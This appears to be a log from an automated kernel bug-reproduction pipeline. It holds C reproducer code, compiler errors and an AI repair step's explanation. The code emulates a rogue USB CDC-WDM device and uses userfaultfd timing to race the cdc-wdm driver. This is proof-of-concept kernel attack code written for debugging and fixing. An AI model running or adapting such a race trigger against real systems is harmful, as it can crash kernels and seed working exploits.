if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:226:12: error: initializer element is not constant
<stdin>:226:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:231:14: error: initializer element is not constant
<stdin>:231:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:232:15: error: initializer element is not constant
<stdin>:232:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:233:15: error: initializer element is not constant
<stdin>:233:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:256:19: error: initializer element is not constant
<stdin>:256:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:278:13: error: initializer element is not constant
<stdin>:278:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:285:21: error: initializer element is not constant
<stdin>:285:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor1553062142 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]
Reply: #define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
void init_descriptors() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
}
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
init_descriptors();
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
|
| 446/7 |
2026/09/11 23:50 |
llm |
repro-repairer |
1m
Model:
Tokens:
input: 13624
output: 4582
thoughts: 8443
Thoughts: **Understanding and Resolving Compiler Errors in Global Variable Initialization**
I encountered a series of compiler errors, all of them pointing to the same fundamental issue: "initializer element is not constant." This indicates that I was attempting to initialize global variables using expressions that the C compiler cannot evaluate at compile time. Specifically, the errors were tied to the use of the `htole16` macro within the initialization of structures like `dev_desc` and `conf_desc`.
My understanding is that in C, global variables must be initialized with *constant expressions*. These are values that are known at compile time. Macros like `htole16`, while useful for ensuring correct byte ordering, often expand to code that involves function calls, conditional logic, or other operations that are not considered constant expressions by the compiler. This is especially true when these macros are defined in a way that might depend on the target architecture or include complex transformations.
The specific fields flagged by the compiler were:
* `dev_desc.bcdUSB`
* `dev_desc.idVendor`
* `dev_desc.idProduct`
* `dev_desc.bcdDevice`
* `conf_desc.conf.wTotalLength`
* `conf_desc.cdc_hdr.bcdCDC`
* `conf_desc.ep_in.wMaxPacketSize`
My initial thought was to find a way to provide constant values for these fields. I considered creating a constant version of `htole16` if the target architecture (like `amd64`) is known to be little-endian, where `htole16(x)` might simply be `(x)`. However, this approach could compromise portability. Another idea was to use a simple macro that evaluates to a constant, but this still felt a bit like a workaround.
Then, I realized a much cleaner and more portable solution: initialize these fields at runtime, *after* the global structures have been declared but *before* they are used. The most logical place for this initialization is within a function called `setup_gadget()`, as this function is called early in the program's execution and is responsible for setting up the USB gadget.
I decided to create a new function, `init_descriptors()`, dedicated to this task. Inside `init_descriptors()`, I would call `htole16` for each of the problematic fields and assign the results to the corresponding members of `dev_desc` and `conf_desc`. The function `setup_gadget()` would then be modified to call `init_descriptors()` as its very first action.
This approach has several advantages:
1. **Correctness:** It directly addresses the "initializer element is not constant" error by deferring the non-constant initialization to runtime.
2. **Portability:** It uses `htole16` as intended, relying on the standard library to handle byte ordering correctly across different architectures.
3. **Readability:** It separates the initialization logic into a dedicated function, making the code cleaner and easier to understand.
4. **Safety:** I verified that `setup_gadget()` (and thus `init_descriptors()`) is called before `dev_desc` and `conf_desc` are accessed, specifically within `gadget_thread()` and later in the `ep1_thread()` and `uffd_thread()` when they interact with USB requests.
Therefore, my solution involves removing the `htole16` calls from the global initializers, defining a new `init_descriptors()` function to perform these initializations, and then calling `init_descriptors()` at the beginning of `setup_gadget()`. This ensures that the USB descriptors are correctly populated with endianness-corrected values before they are used by the USB driver.
|
| 447/4 |
2026/09/11 23:51 |
iteration |
1 |
0m
|
| 448/5 |
2026/09/11 23:51 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
void init_descriptors() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
}
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
init_descriptors();
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
